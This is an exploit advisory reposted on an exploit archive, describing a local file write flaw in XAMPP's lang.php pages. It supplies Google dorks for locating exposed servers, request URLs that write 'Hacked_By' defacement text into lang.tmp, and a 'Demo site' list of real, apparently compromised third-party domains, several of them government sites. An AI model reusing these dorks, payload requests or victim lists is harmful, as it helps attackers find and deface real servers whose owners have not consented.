XAMPP All Version Local Write Access Vulnerability

#######################################################
#
# [+] Exploit Title: XAMPP All Version Local Write Access Vulnerability
# [+] Google Dork 1 : inurl:/xampp/lang.php
# [+] Google Dork 2 : inurl:/security/lang.php
# [+] Date: 15/10/2013
# [+] Discovered By : Black.Hack3r
# [+] Exploit Author: Iranian_Dark_Coders_Team
# [+] Vendor Homepage: http://www.apachefriends.org
# [+] Version: All Version
# [+] Tested on: Windows 7
########################################################
#
# [+] BACKGROUND:
#
#XAMPP is a free and open source cross-platform web server solution stack
#package, consisting mainly of the Apache HTTP Server, MySQL database, and 
#interpreters for scripts written in the PHP and Perl programming languages.
#
#######################################################
#
# [+] DESCRIPTION:
#
#It has been detected than an unprivileged user can write in the local
#disk and the local file "lang.tmp" can be modified in the remote machine.
#The injection is done through the page "/xampp/lang.php".
#
#######################################################
#
# [+] VULNERABILITY:
#
#XAMPP All Version Local Write Access Vulnerability
#
#######################################################
#
# [+] Exploit:
#
#http://localhost/[path]/xampp/lang.php
#http://localhost/[path]/security/lang.php
#
#######################################################
#
# [+] Proof:
#
#http://localhost/[path]/xampp/lang.php?WriteIntoLocalDisk
#http://localhost/[path]/security/lang.php?WriteIntoLocalDisk
#
#Example 1 :http://localhost/[path]/xampp/lang.php?Hacked_By_Black.Hack3r_______________Iranian_Dark_Coders_Team
#Example 2 :http://localhost/[path]/security/lang.php?Hacked_By_Black.Hack3r_______________Iranian_Dark_Coders_Team
#
#And next, if we access to the file:
#
#http://localhost/[path]/xampp/lang.tmp
# http://localhost/[path]/security/lang.php
#
#######################################################
#
# [+] Demo site:
#
#https://www.hsrXdw.gov.cn/xampp/lang.tmp
#https://www.hXspXop.gov.cn/xampp/lang.tmp
#https://www.hsjXrzw.gov.cn/xampp/lang.tmp
#http://www.hXrgiger.net//xampp/lang.tmp
#https://www.tbtXvn.org//xampp/lang.tmp
#http://buru.Xno-ip.org//xampp/lang.tmp
#http://ailboXlogna.it//xampp/lang.tmp
#http://actioXnmu.info//xampp/lang.tmp
#
#######################################################
#
# [+] Discovered By : Black.Hack3r
# [+] We Are : M.R.S.CO,Black.Hack3r,N3O
# [+] SpTnx : Mr.Cicili,Sec4ever,D$@d_M@n,shahram black hat,MR.0x41,C@M!S3R_H3X,M4H4N,Security,@3is,HOt0N,All Members In www.idc-team.net
# [+] Home : http://www.idc-team.net
#
#######################################################

Copyright ©2024 Exploitalert.